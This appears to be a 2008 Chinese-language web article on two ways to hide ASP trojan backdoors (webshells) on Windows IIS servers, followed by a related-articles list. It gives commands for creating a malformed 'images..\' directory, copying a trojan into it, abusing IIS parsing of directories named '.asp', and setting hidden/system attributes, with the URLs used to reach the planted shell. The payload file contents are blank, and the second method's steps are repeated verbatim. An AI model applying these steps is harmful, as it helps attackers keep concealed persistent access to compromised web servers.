隱藏ASP木馬后門的兩種方法
更新時間：2008年06月04日 08:22:34 作者：
下面的兩種方法可以將你的asp木馬隱藏，大家可以測試下
1、建立非標準目錄：mkdir images..\
拷貝ASP木馬至目錄：copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
通過web訪問ASP木馬：http://ip/images../news.asp?action=login
如何刪除非標準目錄：rmdir images..\ /s
2、Windows中的IIS會對以.asp結尾的目錄中的文件進行解析，以達到我們隱藏自己的網(wǎng)頁后門的目的:
mkdir programme.asp
新建1.txt文件內容：
新建12.jpg文件內容： 或使用GIF與ASP合并后的文件
attrib +H +S programme.asp
通過web訪問ASP一句話木馬：http://ip/images/programme.asp/1.txt
拷貝ASP木馬至目錄：copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
通過web訪問ASP木馬：http://ip/images../news.asp?action=login
如何刪除非標準目錄：rmdir images..\ /s
2、Windows中的IIS會對以.asp結尾的目錄中的文件進行解析，以達到我們隱藏自己的網(wǎng)頁后門的目的:
mkdir programme.asp
新建1.txt文件內容：
新建12.jpg文件內容： 或使用GIF與ASP合并后的文件
attrib +H +S programme.asp
通過web訪問ASP一句話木馬：http://ip/images/programme.asp/1.txt
您可能感興趣的文章:
相關文章
判斷上傳文件中是否存在危險代碼2009-11-11
本文主要介紹了修改三個組件來達到防范asp木馬攻擊，需要的朋友可以參考下2015-09-09
實例分析ASP上傳漏洞入侵實戰(zhàn)及擴展...2006-09-09
在MsSql、Access兩種數(shù)據(jù)庫中插入記錄后馬上得到自動編號的ID值
在MsSql、Access兩種數(shù)據(jù)庫中插入記錄后馬上得到自動編號的ID值...2006-07-07
也談跨站腳本攻擊與防御...2006-07-07
一直很奇怪，為什么客戶端里面不是eval，就是execute，不管我藏哪里，管理員用個什么XX webshell掃描器，就能踢我屁股了。2010-10-10
用asp實現(xiàn)的iframe批量替換工具...2007-09-09
有時候通過程序上傳木馬，一般都是偽裝成圖片，下面是asp下檢測圖片木馬的代碼，需要的朋友可以參考下2015-09-09
最近網(wǎng)上一個朋友的網(wǎng)站被天天掛馬，知不知道這位同志的堅持不懈的精神，應該用在什么地方，現(xiàn)在的人啊2008-07-07
新型ASP后門源代碼分析...2007-01-01